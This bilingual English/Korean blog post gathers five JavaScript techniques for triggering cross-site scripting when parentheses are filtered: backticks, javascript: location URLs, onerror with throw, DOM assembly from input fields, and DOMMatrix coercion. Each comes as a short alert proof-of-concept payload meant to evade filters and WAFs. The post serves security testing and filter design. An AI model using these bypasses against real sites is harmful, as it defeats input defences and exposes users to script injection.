Ways to XSS without parentheses

Introduction

Yesterday, [@garethheyes] shared a very useful technique. It's a method to bypassing parentheses using DOMMatrix, and it's a technique to refer to when you're having difficulties with existing methods. Make sure to read it!
간만에 @garethheyes 가 굉장히 쓸만한 테크닉을 하나 공유했습니다. DOMMatrix 를 이용해서 괄호 검증을 나가는 방법이고, 기존에 사용하던 방법들에 어려움이 있을 때 참고해볼만한 기법입니다. 꼭 한번 읽어보세요.!
https://portswigger.net/research/javascript-without-parentheses-using-dommatrix

x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x

So today, we're going to write about ways to bypass XSS when we have tests for parentheses. I've written about each case separately before, but I'll try to collect them today.
그래서 겸사겸사.. 오늘은 이 방법과 함께 괄호에 대한 필터링이 있는 경우 XSS를 풀어나가기 위한 방법에 대해 정리해둘까 합니다. 이전까지 따로따로 글을 작성했었는데, 간만에 한 글에 모아봅시다!


Bypass technic 1 - Backtick

Backtick(''') is used for many purposes inside javascript. and you can replace parentheses.
backtick(```) 은 javascipr 내부에서 여러 용도로 사용됩니다. 그중엔 괄호를 대체할 수도 있습니다.

alert`45`

자세한 내용은 예전에 작성한 글 중 Bypass Point 3 을 보시면 될 것 같습니다 :D
https://www.hahwul.com/2017/06/web-hacking-bypass-xss-filter-with-back.html

Bypass technic 2 - location

As Garethheyes said, location is a good way to turn trigger, but it is true that the policy on location is getting tighter and narrower. There are also issues in Safari.
garethheyes 이야기대로, location은 좋은 우회방법이긴 하지만, 점점 location에 대한 정책이 강화되고 있어서 입지가 좁아지고 있는건 사실입니다. 또한 safari에서의 이슈도 있구요.

document.location="javascript:alert%2845%29"

Bypass technic 3 - throw

This is a method of putting an alert function in onerror, overwriting the value so that onerror() becomes alert() in case of an error, and forcing an error with throw to cause onerror() to be called. In conclusion, it has the same effect as alert(45). It's a good way, but it blocks a lot on WAF.
좋은 방법이긴하나 WAF에 많이 막히긴합니다. onerror에 alert 함수를 넣어주어, 에러 시 onerror()alert()이 되도록 값을 덮어쓰고, throw로 강제로 에러를 발생시켜 onerror()가 호출되게 하는 방법입니다. 결론적으론 alert(45)와 같은 효과를 내죠.

onerror=alert;throw 45

https://portswigger.net/research/xss-without-parentheses-and-semi-colons

Bypass technic 4 - XDE(XSS DOM-base Evasion)

This is XDE using location or innerHTML, ETC... The key is to find as many special characters as possible within HTML objects (if you can just insert them and write them) and configure the attack code in the DOM.
location이나 innerHTML 등을 이용한 XDE입니다. 핵심은 HTML Object 내에서 특수문자를 최대한 찾아(삽입할 수 있는 경우엔 그냥 넣고 쓰면 됩니다) DOM안에서 공격코드를 구성하는 방법입니다.

NAME: <input type="text" id="v1" value="z<iframe ">
PHONE: <input type="text" id="v2" value=" src=javascript:alert(45)><">
DESC: <input type="text" id="v3" value="/iframe>">

<script>
document.body.innerHTML=window.v1.value+window.v2.value+window.v3.value;
</script>

https://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html

P.S
The name XDE is just a word I made for easy talking. You don't have to worry.
XDE란 이름은 그냥 제가 편하게 부르려고 지은거니 신경안써도 됩니다.

Bypass technic 5 - DOMMatrix

The long-awaited DOMMatrix. If you look at the attack code first, it's as below.
대망의 DOMMatrix입니다. 우선 공격코드부터 보면 아래와 같습니다.

x=new DOMMatrix;
matrix=alert;
x.a=45;
location='javascript'+':'+x

If you create a DOMMatrix object, insert an alert function into the matrix object and pass it along with the javascript syntax in the location, as a result, the x variable contains matrix (45,0,0,1,0,0) which is the same as alert(45,0,0,0) because you put an alert in the matrix.
DOMMatrix 객체를 만들고, 해당 객체(matrix)의 원형에 alert을 넣고 location에 javascript 구문과 함께 넘겨주면, 결과적으로 x 변수에는 matrix(45,0,0,1,0,0) 이 들어가며, 이는 matrix에 alert을 넣었기 때문에 alert(45,0,0,1,0,0) 와 동일하게 동작합니다.

javascript:matrix(45, 0, 0, 1, 0, 0)
$ matrix
ƒ alert() { [native code] }


Conclusion

Bypassing XSS with javascript is awesome. If you use the DOM object or Javascript characterization well, you can bypass special characters that are difficult to use, and trigger XSS.
javascript 를 이용한 방법은 정말 끝도 없습니다. DOM 객체나 Javascript의 특성적인 부분을 잘 이용한다면 사용하기 어려운 특수문자들을 우회하여 결국 XSS까지 이뤄질 수 있겠죠.

Happy hacking!
부디 이 글로 막히던 XSS가 뚫리긴 바랍니다. 해피해킹!

Reference

https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
https://www.hahwul.com/2017/06/web-hacking-bypass-xss-filter-with-back.html
https://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html
https://portswigger.net/research/xss-without-parentheses-and-semi-colons